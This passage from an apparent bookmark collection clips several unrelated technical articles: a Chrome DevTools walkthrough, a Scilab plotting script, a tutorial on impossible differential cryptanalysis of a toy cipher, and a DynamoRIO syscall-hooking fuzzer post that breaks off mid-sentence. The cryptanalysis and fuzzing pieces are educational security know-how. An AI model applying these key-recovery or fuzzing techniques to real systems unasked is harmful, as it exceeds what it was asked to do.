adopters, they make their way slowly to Chromium, WebKit Nightlies, Chrome,
then Safari. At any given time, Safari’s Inspector is about a year’s worth of
development behind Chrome Canary. That is to say, use Chrome Canary for your
development.

## Getting Set Up

Awesomesauce. You’ve downloaded Chrome Canary, you have it open, you have your
site up, you’ve cracked your knuckles and rolled up your sleeves. Hit CMD+J to
open up the Inspector or right click on a specific element and click “Inspect
Element”.

Now let’s set up the environment so you’re comfortable. The first thing to do
is familiarize yourself with the UI. Take a minute to click on every button
you see, hover over it to see the tooltip, and find out what everything does.

#### Dock to Right

The first thing you’ll want to do is click on the gear icon in the bottom
right to bring up the settings. Ignoring the horrendously ugly HUD display, I
highly recommend checking the “Dock to Right” setting. What this does is stick
the inspector to the right side of your window, but keeps it attached. If you
decide to pop it out into its own window, then opening multiple inspectors at
the same time can become confusing. If you dock it to the bottom, you get a
lot of horizontal space, but vertically you’re very constricted. Docking to
the right is the best of both worlds. Here’s what it should look like:

<img src='img/Temp2_5405.png' />

#### Emulate Touch Events

If you’re working on a mobile application, this setting \(in the settings
HUD\) is essential.

> **Google, if you’re listening:** Default the docked setting to “Dock to
> Right”.
#### Keyboard Shortcuts

Another quick tip to help speed up your work with the inspector is to get very
familiar with the keyboard shortcuts. Go to the Elements Panel \(some of the
other panels eat the keystroke\), and type “?”. This should bring up another
horrendously ugly HUD display that contains a list of keyboard shortcuts. The
most helpful shortcuts are the ones to navigate the Scripts panel, which we’ll
talk about in a bit.

<img src='img/Temp2_5409.png' />

> **Google, if you’re listening:** Make the keyboard shortcuts accessible from
> the settings panel. Most people don’t know the secret key. While we’re on
> the topic, why does the HUD have a different light source than the rest of
> the UI? Why is the border radius so big? Why is the “X” button not
> vertically centered in the header? Why are some of the shortcuts so small
> you can’t see them?
#### Inspecting an iFrame

Debugging iFrames has long eluded web developers. NO MORE\! You can now set
which iframe the inspector is inspecting through the popup in the bottom
center of the inspector that says “”. This panel is interestingly only visible
when you have the console expanded \(hit escape from any panel\).

<img src='img/Temp2_5408.png' />

> **Google, if you’re listening:** Make the iframe drop down accessible
> everywhere.
## The Console

Sweetums. You’re all set up, you’ve cranked up your music, and you’re hacking
your heart away. Now you need to actually do something: Run a command, check
the output of a function, check for the existence of a method, or see any
logs/errors/warnings. This is where console comes in to help. The console is
such a badass, in fact, it not only gets its own panel, it’s also accessible
from any other panel by hitting the “>=” icon in the bottom left, or by
hitting the Escape key.

It also happens to be one of the more intuitive features: Type something, hit
enter, see the output of the expression. Any logs are visible chronologically,
click the file name on the right and get taken there in the Scripts panel.
What you may not have known though, is that you can type multi-line
expressions in the console by hitting “shift + enter”. This is really helpful
for writing out long commands that involve anonymous functions or complex
statements. You can also type “ctrl + L” to clear the console when the logs
get overwhelming.

From a DOM-debugging perspective, one of the cooler features of the console is
its integration with the Elements panel \(which we’ll discuss in the next
section\). Any element that’s selected in the Elements panel can be quickly
accessed using “$0”. That will reference the element and allow you to interact
with it. Inversely, whenever you see a DOM node printed in the console, you
can right click on it and click “Reveal in Elements Panel” to quickly find it
in the DOM.

<img src='img/Temp2_5403.png' />

> **Google, if you’re listening:** Add syntax highlighting to the console
> command, it’ll help simple parse errors. It wouldn’t hurt to auto-insert
> braces and parenthesis and quotes, too.
## The Elements Panel

So you got you’re all set up and ready to start building your application. The
first step is to get your HTML and your CSS looking right \(Or JavaScript,
depending on your workflow\). That’s where the Elements Panel comes in.

#### DOM Manipulation

The Elements Panel comes into play whenever you are modifying/debugging CSS or
the DOM. The main area of the Elements panel is your live DOM hierarchy. As
you make changes through JavaScript, you see them reflected live in the
Elements Panel. You can use the arrow keys to navigate the hierarchy, and
double click on any attribute to edit either the name or the value. You can
also click-drag any node in the DOM to reorder it and change its position.

Because its live, I find myself doing a lot of experimentation in this panel.
Drag this node here, does it fix that z-index ordering issue? That div is
invisible, is it being hidden by another layer?

At the bottom of the inspector, you’ll find a magnifying glass. When you click
\[that, you can hover over your application itself and it will highlight the
node you have selected. This comes in handy when you need a quick way to go to
a deeply-nested element.

While you’re playing around with the Elements panel, try right clicking on one
of the nodes and see the options that come up. One of these of note, is the
“Break on Subtree Modifications” option. When you enable that, any changes
that you make to the DOM hierarchy under that node, it will automatically
pause, and let you debug it.

#### CSS Editing

Moving on to the right, the CSS editor is up-there in the list of most-helpful
features of the inspector. Superficially, it allows you to live-edit your CSS.
However, it reduces the barrier to experimentation so much, I find myself
moving things around and playing around with ideas I normally would’ve
dismissed as stupid, which is a good thing, as Bret Victor says.

The first thing in the list you see is the “Computed Style” section. Check the
“Show inherited” checkbox, and you will see a list of every single style
property and its corresponding value that’s applied to the selected node. Even
if you didn’t explicitly set a property, it will show you the inherited
default. This helps you not only understand what is making up the styling of
the node, but it also helps you find out what properties you can set yourself
to modify it. Take a quick look at it and see if there are any CSS properties
you didn’t know about, then try them out and see what they do\!

Next in the list is the “Styles” section. This shows you the list of
properties, grouped by selector, that have been applied to the node. The first
sub-section here says “element.style”. This shows the properties set through
the style="" attribute in the HTML. The next section titled “Matched CSS
Rules” shows you the selectors that matched the selected node, their
properties, and their values, along with the file name and the line number on
the right.

To add a new selector, click the “+” button to the right of the “Styles”
header, here you can define the selector, hit tab, then start writing
properties and values. You’ll notice Chrome offer auto-complete suggestions
\(this is another great way to investigate which properties you can set\). The
version of Canary as of this writing requires you to hit the right arrow key
to fill in the autocompletion, then you can hit tab to set the value. Hitting
tab again will let you set the next property. If you wanted to set a new
property to an existing selector, click once on the closing bracket. Clicking
on the button to the right of the “+” new selector button will allow you to
specify a pseudo selector. Handy\!

Colors behave slightly differently. Clicking once on a color value will toggle
through a list of representations \(hex, rgb, rgba, etc\), and clicking on the
little colored square will open up the color picker.

<img src='img/Temp2_5406.png' />

All this is great, but let’s say you’ve just spent 10 minutes editing CSS. Now
what? How do you save those changes? To do that, click on the file name of the
selector \(or go to the file yourself in the Resources panel\), then right
click on the file \(which will be updated to reflect those changes\), and you
can right click to “Save As” and overwrite your existing files. Personally, I
find selecting the text and pasting it into my editor to be faster and less
error-prone.

One final node on CSS Editing: If you write a new selector \(by hitting the
“+” key\), it won’t persist into a file because it doesn’t know which CSS file
to put the selector in.

> **Google, if you’re listening:** Prompt me which file to put a new selector
> in when I create one. Also, make “tab” fill in the selected auto-completion.
> Finally, find a way to make persisting changes in CSS to my code easier.
> This last one is more of a high-level wish, I don’t really know whether or
> not it’s possible nor how it would work, I just want the process streamlined
> :P.
#### Metrics

Phew, that was a handful\! Take a minute to play with all this. When you’re
done, let’s move down to the next item in the list: Metrics. If you’re not
familiar with the CSS Box Model, take a minute to read this awesome guide.

The Metrics section basically shows you how the browser is rendering a node
from the perspective of content size, padding, border, and margin. Use this
tool to debug positioning/dimension problems.

A nice companion tip to the Metrics panel, is that the semi-transparent blue
box that overlays the selected node will actually show you the padding and the
margin, so you can understand how a box is affecting the flow

<img src='img/Temp2_5404.png' />

Blue is for content, green is for padding, and orange is for margin.

#### Event Listeners

We’ll skip Properties and DOM Breakpoints for now. I haven’t found a use for
the Properties section yet, and DOM Breakpoints shows you any “Break on …”
actions you’ve taken by right clicking on a node. The last section we’ll talk
about in the Elements panel is the Event Listeners section.

If you’ve attached any event listeners on your node \(either using JavaScript
or using the attribute in HTML\), you’ll find those listeners listed here.
This comes in handy when you want to debug whether or not a listener has been
properly attached to a node, and what will happen when it gets invoked.

Clicking on the little funnel icon on the right allows you to see either the
listeners on the selected node or in the document. This comes in handy if you
have listeners attached on things you can’t select in the main list \(like
window, document, etc\).

## The Resources Panel

Your HTML and CSS are looking good, and you’ve got a fair bit of JavaScript
written to use either the FileSystem API, IndexedDB, LocalStorage, App Cache,
or Cookies. The Resources panel is where you go to inspect and debug all these
storage resources. Most of them do more or less the the same thing and are
pretty self-explanatory: Click a resources, see a list of items, and dig
through to navigate your data.

Of note is the first item in the list called “Frames”. It includes a sub-item
for every frame in your application, and groups resources such as Images,
Scripts, and Stylesheets. Really the only reasons I’ve found to dig through
this list is to find a Stylesheet file I edited so I can copy its content and
paste it into my editor to save.

## The Network Panel

The Network Panel comes in handy when you’re debugging, well, network issues.
Is your image asset not updating? The network panel will tell you whether or
not it’s being served from a cache. Is your XHR not responding? The network
panel will tell you if it’s stuck or error-ing out.

Clicking the “Record” button \(the black circle\) will maintain a Network
session across reloads, handy if you want to see how a change in your codebase
affects the network performance.

<img src='img/Temp2_5410.png' />

If you find yourself debugging performance issues, the Network Panel is also
very helpful. On the right, you see a “cascading waterfall” of your network
requests. If your page is taking a really long time to load, your first step
in debugging it would be to look at the waterfall. The blue and red vertical
lines show you when the DOMContentLoaded event fired, which means that before
then, your use is sitting around waiting for something to happen. You want to
reduce that time as much as you can.

#### The Waterfall

Why do I keep calling it a waterfall, you ask? Well, it looks like one, but
more importantly, the reason it looks like a waterfall is because every
network interaction takes time both in network latency, and in download time,
and the browser can parallelize only so many of them. If your waterfall is
wide, you need to go out of your way to cut HTTP requests.

By the way, you can click on the “Timeline” header and you get a drop down
\(\!\) to change the sort order. Particularly interesting is the “Latency”
sorting, which shows you which of your requests took the longest to establish.

<img src='img/Temp2_5411.png' />

The half-transparent left-side of the capsule shows the latency, and the dark
part on the right shows the download time.

#### The Request Details

On the bottom of the Network panel, click “XHR” to filter the network
connections just to XMLHttpRequests. Then click one of them. You see that the
right side now changes to show details of that specific request. The first tab
shows you all the HTTP Headers sent with the request, and those of the
response. This helps when debugging server bugs or CORS bugs.

Preview is a pretty-formatted version of Response. If you’re getting back a
lot of JSON, the Preview tab will format it into a collapsable list for you,
whereas the Response tab will show it in plain text.

Cookies show you the cookies that were sent as part of the request, and Timing
shows more details regarding the time profile of the request. Again, helpful
if you have requests taking a long time.

## The Scripts Panel

I’m a full-time JavaScript developer, which implies that I spend most of my
day in the Scripts Panel. It has also seen some of the biggest changes
recently.

Looking around, two buttons worth mentioning are the “Pretty Print” button
\(looks like a pair of curly braces\), which will properly format a minified
file. This comes in handy if you get a bug in a third-party minified package
and you want to have an even remote chance of figuring out what is going on.

The other button worth mentioning is the “Break on Exception” button \(Looks
like a pause button\). When gray, it’s disabled. Clicking it once will cause
your script to pause if it hits any thrown exception. Clicking it again puts
it in the “Break on Uncaught Exception” mode, which only pauses your script if
you \(or something else you use\), throw an exception that doesn’t get caught.
This is indispensable when you want to track an exception that’s being thrown,
since it preserves the call stack and the current state of the application.

#### File navigation

The addition of tabs in the main workspace and a full file browser, scoped by
origin has dramatically improved the efficiency of moving around your project.

To open the file browser, click the weird icon in the top left \(it looks like
two folders with a right angle between them\). By default, the file browser
will “float” on top of your workspace, so click the weird icon on the top
right of the browser \(it looks like a half-white, half-black rectangle\) to
dock it. Try typing while you’re in the file inspector, it will do a fuzzy-
match of the files in your project\!

<img src='img/Temp2_5414.png' />

While we’re on the topic of moving around your project, try hitting “CMD+O”,
this will open up a TextMate-style “Go-to-File” popover that lets you quickly
jump to a file. “CMD + Shift+ O” will open up a “Go-to-Symbol” popover that
lets you quickly jump to a symbol in the current file, and “CMD + L” will let
you jump to a specific line.

<img src='img/Temp2_5413.png' />

> **Google, if you’re listening:** Add the path to the file in the Go-to-File
> popover, in case there are duplicates.
#### Breakpoints

Clicking on a line number in the gutter will insert a breakpoint. If your
application hits that line during execution, it’ll pause, bring up the Scripts
panel, and highlight that line. Then you can inspect the call stack, the scope
variables, and inspect/modify your objects. This is the main workflow when
debugging issues with your JavaScript.

Occasionally, you’ll want to debug a problem in hot code \(code that gets run
over and over\). Putting a breakpoint here becomes tedious, since you’d have
to hit “Continue” over and over. What I usually do in that situation is wrap
the function call I want to debug with “window.foo = true” and “window.foo =
false”, then right click on the breakpoint, click on “Edit Breakpoint”, then
in the textfield I type “window.foo”. What this tells the inspector is that
unless window.foo evaluates to true, don’t stop.

<img src='img/Temp2_5407.png' />

So, you’ve added a breakpoint, you refreshed the page, and now your script is
paused. Now, the fun begins.

The first thing of interest in the sidebar is “Watched Expressions”. If you
care about the value of some expression \(Say “MyApp.someController.property
=== ‘some value’”\), then adding that as a watch expression will let you keep
an eye on it without having to type it over and over in the console.

Below that, the “Call Stack” section shows you every function call that the
system went through to end up where it did. You can navigate this list using
“CTRL + .” to go down and “CTRL + ,” to go up in the stack. I usually navigate
this list when I care about how a variable came to have its value and how it
traveled through the system.

Next, “Scope Variables” lists the local variables and their variables. If
you’re using closures to close over variables, then those will be grouped
together. The “Global” group shows you every variable on the “window” object
\(a huge list\). As you move through a function, this list gets updated
automatically.

Now that you’ve inspected the state of the app on a breakpoint, you’ll
probably want to move around. “Continue”, “Step Over”, “Step Into”, and “Step
Out” are your friends here. In fact, you’ll be using them so frequently, it’s
worth bringing up the keyboard shortcut list again and learning the shortcuts
for them. It’s much more efficient to navigate through the list with the
keyboard than the mouse. If you’ve used a debugger before, these terms are
already familiar to you. For the web developer though, these are new concepts
that we didn’t have before.

Continue resumes the execution of the program. If execution hits the same
breakpoint again, it’ll pause again. Step over will skip function invocations
and stay within the current function. Step into will enter the new function if
it’s being called. If you’re calling multiple functions in the same line, you
can step into, and out of each one in order. Step Out will leave the current
function and go back up one level in the call stack.

These tools are essential in walking through your code and pin-pointing a bug,
or finding out which path through your codebase is being followed.

Another handy tool lives under the “XHR Breakpoints” section. As the name
suggests, it sets up breakpoints related to XMLHttpRequest objects. The way
you specify the breakpoint, is by typing in a substring of the URL you want to
inspect. Handy\!

By the way, in the “Scope Variables” section, you can right click on a
function and choose “Jump to Definition” to jump to the part of the file that
defines that function.

## The Timeline Panel

Next in the list is the Timeline Panel. As you might have observed, each panel
is designed to help debug a certain class of problems: Elements Panel for DOM
and CSS, Resources for local storage and assets, Network for HTTP requests,
Scripts for Javascript, and Timeline is for browser performance.

What do I mean by “browser performance”? I’m referring to things that are
generally out of your control, but which affect the performance of your
application. Understanding what’s happening under the hood is essential to
supporting the growing complexity of an application.

#### Timelines

The first section of interest is the Timelines section. To activate it, hit
the Record button \(the black circle in the bottom left of the panel\). When
it’s glowing red, perform a task in your application you like to inspect. If
you’re wondering why your scrolling performance is slow, you would try a short
scroll. If you’re wondering why loading a modal panel is slow, you would do
that. Don’t worry about doing too much and getting overloaded by data in the
panel, there are tools to help\!

<img src='img/Temp2_5399.png' />

So, you’ve managed to get a nice little timeline of what’s happening, but
you’re only interested in a little section of the data. To “Zoom in”, you can
click and drag on the timeline graph. You’ll see a couple of draggable thumbs
so you can adjust the visible section. Moving down into the waterfall graph,
you’ll notice little arrows next to some of the orange capsules. Expand those,
and what you’ll see is the function invocation that triggered the browser to
do work. In the example below, we can see that a scroll event had fired,
invoked a handler, which caused a “Recalculate Style” to fire. If you hover
over the item in the sidebar, you see even more detail.

<img src='img/Temp2_5401.png' />

You may be wondering at this point “What are these purple events that are
taking up time? Repaint, Recalculate Style, and Layout?”. These are browser-
events that are usually invoked by in response to visual changes. For example,
If your resize or scroll, the browser needs to do a bunch of work to make sure
everything looks as you’d expect it to. You could also invoke these events
yourself, so it’s worth understanding what the inspector is telling you and
not taking DOM changes for granted.

#### Recalculate Style

<img src='img/Temp2_5415.png' />

This occurs when you modify CSS properties. In the above screenshot, you see
I’m running the same command twice, but seeing different results. The first
time I run it, the browser has to Recalculate Style, Layout, and Paint. The
next time, it just has to Recalculate style. What’s happening?

Because this is on a fresh page load with nothing visible, giving an unstyle
div a height causes its contents to change layout \(Layout\), causes the
visual display to change \(Paint\), and invalidates the styles \(Recalculate
Style\). The next time I run the same command with the same value, it gets to
skip the Paint and the Layout, since they didn’t change. Notice the order:
Recalculate Style informs the later processes whether or not they need to get
triggered.

#### Repaint

Back to our empty page, let’s give our div a width, height, and background
color so it actually changes visibly on the screen:

<img src='img/Temp2_5398.png' />

Now, it has to repaint both times, but it only needs to calculate layout once.
That’s because the Recalculate Style step found that the
positioning/dimensions haven’t changed, but the background has, so it skipped
that step. Anything that cause a visual change, causes a repaint.

#### Layout

Often referred to as “Reflows”, a Layout event causes the browser to
recalculate the position of elements. For example, say you have a picture
that’s floated, so the text wraps around it. If you remove the float, the
browser has to “re-flow” the text around it. Paul Irish has a great video
where he describes reflows and how to avoid them.

> **Google, if you’re listening:** Please fix the resize behavior. On small
> Macbook Air screen, it’s common to hit multiple UI bugs when you arrange the
> inspector/application side by side.
<img src='img/Temp2_5400.png' />

For more detail on how this works under the hood, refer to this blog post.

#### Memory

Now we’ve looked at the timeline, optimized it, but the application is still
crashing every now and then after you use it for a while, sometimes it slows
down, and it stutters a lot. You’ve seen a few “GC” \(Stands for Garbage
Collection, which runs every now and then to clean up unused objects\) events
in your timeline, the Memory tool helps you debug those issues.

Tony Gentilcore has a great writeup on finding and fixing memory leaks, you
should definitely give it a read. I’ll give you a quick overview here.

Click on Memory in the sidebar, then click record. Perform a task in your app,
and observe the memory profile. Here’s the memory profile for an app that
simply creates an object and throws it away every mousemove event:

<img src='img/Temp2_5402.png' />

A typical javascript memory graph looks like a sawtooth function: You keep
accumulating memory until the garbage collector runs and cleans up unused
memory. A few cycles through GC runs, and your memory profile should be flat.
If it’s constantly going up in between GC cycles, then you have a memory leak.
As your application gobbles up memory, the app will slow down, and certain
browsers \(MobileSafari\) will actually kill it.

Below the graph you’ll see some more useful metrics to track the number of DOM
nodes, and event listeners, they’re pretty self-explanatory.

Finally, let’s say you deployed your app in production, you found a bug in
production, located it in the inspector. How do you tell your
coworker/developer? Well, instead of taking a static screenshot, you can
actually right click on “Timelines” and “Memory”, and save your session so
that you can share the actual debug data\! Handy when you’re working as part
of a team.

## The Profiles Panel

So, you’re now at a point in your application’s development where it looks the
way you want it to look, HTTP requests are minimized, and you’re causing the
browser to do more work than it needs to. Something’s not right though.
Everything seems to be snappy, except for one small part. You’ve tried
debugging it with the Timeline panel, but it doesn’t give you enough depth and
detail. It’s not the browser that’s slow, it’s your own code.

That’s where the Profiles panel comes in.

#### JavaScript CPU Profiler

The first type of profiling you can do is JS CPU profile. The description
outlines at a high level what it measures: What functions your app spends the
most time in.

Select it, then click “Start”. Every action you take now, will be logged until
you hit the glowing red “Record” button to stop recording \(Or click on the
“Stop” button\). Once stopped, the profiler will show you an ordered list of
all the functions that had executed, and the time it spent in each. You’ll
probably see something like “\(program\)” at the top of your list. That’s
webkit taking time to do stuff. You can’t inspect it, and you can’t do much
about it \(but the Timelines tab should help locate some of those bugs\!\).
Apart from that, here’s what a typical profile looks like:

<img src='img/Temp2_5412.png' />

This is the profile for my blog when I open the photo portfolio and open/close
a photo a few times. Looks like the most expensive part of that interaction is
setting the curtain’s opacity and retrieving the bounding client rect. Just
the info I needed to optimize that part of my app.

> **Google, if you’re listening:** There’s a lot of work you can do here to
> surface useful information and hide useless information. I often get stuck
> in infinitely-deep lists, or 99.99% of my time spent in \(Program\),
> distorting everything else.
#### CSS Selector Profiler

CSS doesn’t come for free. Complex stylesheets take time to parse, calculate,
and apply. The CSS Selector profiler shows you how many times each selector
was matched to a DOM node, and how long the browser spends applying those
selectors. In a complex application with many divs of the same type, applying
styles to them might take a substantial amount of your app’s startup time.

#### Heap Snapshot

This is one of the most obtuse views in the inspector. So much so, I haven’t
actually found it useful. Take this for example:

<img src='img/Temp2_5416.png' />

The amount of useful information there as far as I can discern is zero. I’ll
defer once more to Tony Gentilcore’s writeup, may he light your way.

## The Audits Panel

We’re almost there\! The last panel is the Audits Panel, and it’s basically
the last sanity-check of performance you do before going to production.
Essentially, it will inspect the resources and the HTTP requests and suggests
improvements based on current industry best practices. For example, while
writing this, running the Audits panel told me that I should specify the image
dimensions in the HTML to make layout faster. Good to know\!

All the tips here are well-documented, and you should at least take a quick
look through them.

## Conclusion

I hope you’ve found at least some of this information useful. I’ve been
writing complex web applications on the desktop and mobile for 2 years now,
and I’ve had to use each of these panels to solve a different class of
problems.

If I’ve mis-interpreted something, missed something, or made any errors,
please let me know.

## Further Reading

How Browsers Work – A Fantastic, and in-depth look at the processes and
plumbing that we build on.

The Mozilla Developer Network Documentation – The most authoritative and up-
to-date reference and guided documentation HTML, CSS, and JavaScript. Ignore
w3schools.

# Wizard Code A View on Low-Level Programming DRAFT VERSION 4

**Created:**| _6/29/2017 4:14:36 PM_  
---|---  
**Updated:**| _7/17/2017 11:46:22 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing_  
  

  
<img src='img/wizardcode4.pdf' />  

# Scilab-3D plot from X,Y,Z values from a file. « Inside a Poustinia.

**Created:**| _5/2/2011 7:38:25 PM_  
---|---  
**Updated:**| _5/2/2011 7:38:25 PM_  
**Author:**| __  
**Tags:**| _bookmark research_  
  

This is a script to read three set of values \(x,y,z\) from a file named
scilabtest1.txt and plot it using plot3d1 function.This is my first experience
with Scilab hope to learn more soon  
  
The data file i used is here scilabtest1.txt put this in the same directory  
The full code is here download as a file scilab1.sce

[code]

     //************************
     //Scilab:--File Operations
     //************************
    
     //Main Program
    
     //Opening A file for reading.
    
     filename= 'scilabtest1.txt';
    
     fid = mopen(filename, "r");
     //fid=file descriptor r =&gt;in reading mode
    
      if (fid == -1)
        error("cannot open file for reading");
      end
    
      mprintf('value of fid is %f \n', fid);
    
     //------------------------------
      //reading data Method 1 using While loop
    
      //done_yet=0;
    
      //while (done_yet == 0)
    
        //[num_read, val(1), val(2), val(3), val(4)] = mfscanf(fid, "%f %f %f %f");
    
         //mprintf('value of num_read is %f \n', num_read);
        // num_read =-1 if there is no more lines to read
    
         //if (num_read &lt;= 0)
         //done_yet = 1;
         //end
    
      //end
    //--------------------------------
    
    //reading Data using Method 2 For Loop
    for i=1:6
      [num_read,x(i),y(i),z(i)]=mfscanf(fid,'%f\t%f\t%f');
    
        mprintf('value of num_read is %f \n', num_read);
        // num_read =-1 if there is no more lines to read
    end
    
    //print the read two values to Scilab window
    
      X=[x(1) x(2) x(3)];
    
      mprintf('x values are %f \t  %f \n',X ); 
    
      Y=[y(1) y(2) y(3)];
    
      mprintf('y values are %f \t  %f \n',Y );
    
      Z=[z(1) z(2) z(3)];
    
      mprintf('z values are %f \t  %f \n',Z ); 
    
    //---------------------------------------
    
    plot3d1(X ,Y,Z)
    
      mclose(fid);
    
     //To Avoid restarting of scilab due to errors occurred
     //in between opening and closing of files
     //from http://home.iitk.ac.in/~swagatk/faq/scilab/scilab_general.html
    
     file('close',file());
     //Closes all open files
     //-------------------------------------
    
    //str='bber'
    //int= 23
    //mfprintf(fid, 'string %s and integer %d\n', str, int)
    //colors=['red';'green';'blue';'pink';'black'];
    //RGB=[1 0 0;0 1 0;0 0 1;1 0.75 0.75;0 0 0];
    //mprintf('%d\t%s\t%f\t%f\t%f\n',(1:5)',colors,RGB)
    //mclose( )
    
[/code]

# The Amazing King - Impossible Differential Cryptanalysis

**Created:**| _7/15/2012 4:23:26 PM_  
---|---  
**Updated:**| _7/15/2012 4:23:26 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# Impossible Differential Cryptanalysis

So we've fiddled with differential attacks quite a bit at this point. In this
tutorial, you'll learn about a cool variant of it called **impossible
differential cryptanalysis** \(sometimes abbreviated IDC\). In normal
differential analysis, we try to find a differential characteristic that holds
true with some high probability. If this characteristic does from the
plaintext to the input to the last round, we can have a go at some straight-
forward key recovery. If you need a refresher, I recommend checking out my
page on the differential cryptanalysis of FEAL-4. Impossible differentials are
a natural idea: instead of looking for high-probability differentials, we look
for those that _never_ happen. This give information about intermediate states
in the cipher that differ from a random permutation. Exploiting these
weaknesses can enable us to recover the key with less work than exhaustive
search.

## Source Code

Here is the code I wrote that demonstrates the technique described on this
page. Writing clear code that is easy to understand by humans is not a strong
point of mine. Be sure that you have the diagrams on this page in front of you
\(preferably printed out\) while reading the code. Enjoy\!  
  
Impossible Differentials Attack Code - \[imp.c\]  
  

### The Target Cipher

The target of our attack here is our old friend from the Multi-round
Differential Cryptanalysis page. For all of the details about how this cipher
operates, check out that page. I will warn the reader, however, that the key
recovery method described there is very different from this one. Frankly its a
little bit weird because I figure it out before I understood the "standard"
attack methodology. The key recovery method discussed on _this_ page is
conventional, however. In any case, check that page for details on the cipher
we'll be going after like sbox/pbox tables. Also note that this version is 5
rounds instead of 4.

<img src='img/Temp2_7961.jpg' />

This little toy cipher is just something I threw together a while back that is
easy to analyze. It uses an 8 bit block size and a 40 bit key divided into 5
subkeys that each 8 bits in length. It consists of 5 identical rounds. Each
round XORs the proper subkey and then runs the result through an "SP-Box".
This function is composed of two identical 4 bit S-Boxes that are combined by
an 8 bit P-Box. You'll notice that the 5th round does not included a final SP-
Box. This is because the box is invertible and would provide no additional
security. The attacker can simple run the ciphertext through the SP-Box
backwards to reach the end state shown in the diagram above.

  
  
  

### Finding Differential Characteristics

The first step to this attack is to analyze the substitution-permutation box
to build a differential distribution table. In other words, we want to know
that if a particular differential X is fed into the SP-Box, what is the
probability that it will produce an output differential Y. Do this for every
possible X and every possible Y and keep a record of the results.

<img src='img/Temp2_7962.jpg' />

In previous tutorials, we combed through the results of this exhaustive search
for differential probabilities. Not so here\! Instead, we simply store the
data for use by the code later. An important note is that we want the results
of all of this testing. Storing only the impossible characteristics is not the
goal at this stage.

  
  
  

### Impossible Differentials

Now we have a giant table in memory that tells us what the probability will be
for an input differential going through the SP-Box to produce a particular
output differential. The next task is to programmatically go through this
table and find characteristics that will NEVER hold true after 3 rounds
through the cipher. Check out the cipher diagram at the top of this page; the
only non-linear bits are these SP-Boxes. The XORing of the subkeys will not
have an effect on the differentials as they travel.

Thus, we should start from every conceivable input and see if a chain of 3 SP-
Boxes can lead to every conceivable output. If we find a particular input
differential X cannot lead to a particular output differential Y, we have
found an 3-round impossible differential. Remember that you can't just string
together differentials \(of zero probability in this case\) like you can in a
normal differential attack. The issue is that other paths may have been taken
in the intermediate rounds and could still reconverge on your "impossible"
output. The way to find out if this can happen is to check every single path.
I wrote a little recursive function called isPath\(\) that I recommend
checking out in the source code for this purpose.

<img src='img/Temp2_7960.jpg' />

At the end of this process of checking all of those possible paths through the
cipher, you will be left with a list of 3-round differential characteristics
that are impossible \(there are 29 of them\).

  
  
  

### Crossing Subkeys Off

The last part of the process is to choose one of the 3-round impossible
differentials and encrypt some chosen-plaintext \(use the input part of the
imp. diff\). Now we know for a fact that the input to the last round cannot be
the output differential. We will use this fact to narrow down the keyspace for
the last-round subkey until left with one candidate \(the correct one\!\). The
attacker should XOR his ciphertext pairs with a guess at the last-round
subkey; try them all. Next, run those results backwards through the final SP-
Box. Finally, XOR each of two parts of the pair together to get the
differential. If it matches the output part of the 3-round impossible
differential that we chose the plaintext with, IT IS THE WRONG SUBKEY. Cross
it off your list.

<img src='img/Temp2_7963.jpg' />

Experiment with how many chosen-plaintext pairs are needed per impossible
differential tested. Also experiment with how many impossible differential are
needed. I'm testing every 3-round differential \(all 39 of them\) and
encrypting 100 plaintext pairs per diff. This seems to narrow the keyspace
down to 1 correct subkey almost every time.

  

# UnprotectedHex

**Created:**| _9/19/2009 1:05:27 PM_  
---|---  
**Updated:**| _9/19/2009 1:05:43 PM_  
**Author:**| __  
**Tags:**| _security tools binary instrumentation Fuzzer_  
  

### In-memory fuzzing with DynamoRIO

April 20th, 2009

by nnp

I’m currently playing around with the DynamoRIO binary instrumentation
framework. It is similar in concept to Valgrind but with a few crucial
differences. First of all it doesn’t really use an intermediate representation
like VEX/Ucode. Instead you work on the actual decompiled instructions with a
whole array of convenience functions to access opcodes, operands, jump targets
etc. The downside is that you lose the abstractions provided by Valgrind, so
instead of having to just deal with Put/Get you have to consider all
instructions that can be abstracted to these two VEX operators. The upside is
that you don’t suffer the incredible slowdown that Valgrind inevitably brings
and it is cross platform. Also the convenience functions like
`instr_is_call(), instr_is_mov()` etc. means your analysis code isn’t that
much more verbose than the Valgrind equivalent.

\(You can get DynamoRIO from here\)

This post is primarily going to be about using the syscall hooks provided by
DynamoRIO. The first idea to pop into my head when i saw these was ‘fuzzer’ so
I proceeded to build one. It turns out to be incredibly simple and the final
code can be found in the verification wiki.

The first action we have to take is to register our handler functions.
DynamoRIO provides hooks for a number of events including handling syscalls,
basic blocks, signals and thread creation/destruction. The following code
registers our syscall handlers:

[code]

    dr_register_filter_syscall_event(event_filter_syscall);
    dr_register_pre_syscall_event(event_pre_syscall);
    dr_register_post_syscall_event(event_post_syscall);
    
    
[/code]

the function signatures of which are:

[code]

    static bool event_filter_syscall(void *drcontext, int sysnum);
    static bool event_pre_syscall(void *drcontext, int sysnum);
    static void event_post_syscall(void *drcontext, int sysnum);
    
    
[/code]

The `event_filter_syscall` hook is used to filter out syscalls we’re not
interested in. If it returns `true` then the syscall is passed on to
the`event_pre_syscall`. You’ll notice that in `event_pre_syscall` there is
also a check on the syscall number. This is because the filter is not
guaranteed to filter out all syscalls we check for. It may not be possible for
DynamoRIO to determine in advance what the syscall number is and in that case
the filter will be skipped. The interesting part of `event_filter_syscall` is
the following:

[code]

    read_fd = dr_syscall_get_param(drcontext, 0);
    read_buf = (void*)dr_syscall_get_param(drcontext, 1);
    read_count = dr_syscall_get_param(drcontext, 2);
    
    
[/code]

DynamoRIO provides a number of functions for working with syscalls. These can
be found in `dr_tools.h`. We can get and set syscall paramaters, get/set the
result of syscalls and also invoke other syscalls. The comments are fairly
detailed in the code so I won’t explain any further. DynamoRIO has no reliable
way of telling how many paramaters are passed to each syscall so you’ll have
to check the relevant man pages for that information. The final point of
interest in the pre syscall handler is the return statement. Returning false
at this point would mean the syscall isn’t actually called. Using this you
could emulate failing system calls and other possible sources of
error/interest. In this case we return true having harvested the information
we need \(`read_buf` etc\)

The actual fuzzing takes place in the `event_post_syscall` function. Here we
get the result of the syscall with `dr_syscall_get_result` which tells us how
much data has been read. The fuzzing code itself is fairly uninteresting as it
simply flips bytes using /dev/urandom. In the midst of this code we can see
the use of `dr_syscall_set_result` after we have decided to change the number
of bytes in the buffer pointed to by `read_buf`

As mentioned in the code comments, modifying this to a useful fuzzer would
require some extra work. Primarily it would be necessary to record the fuzz
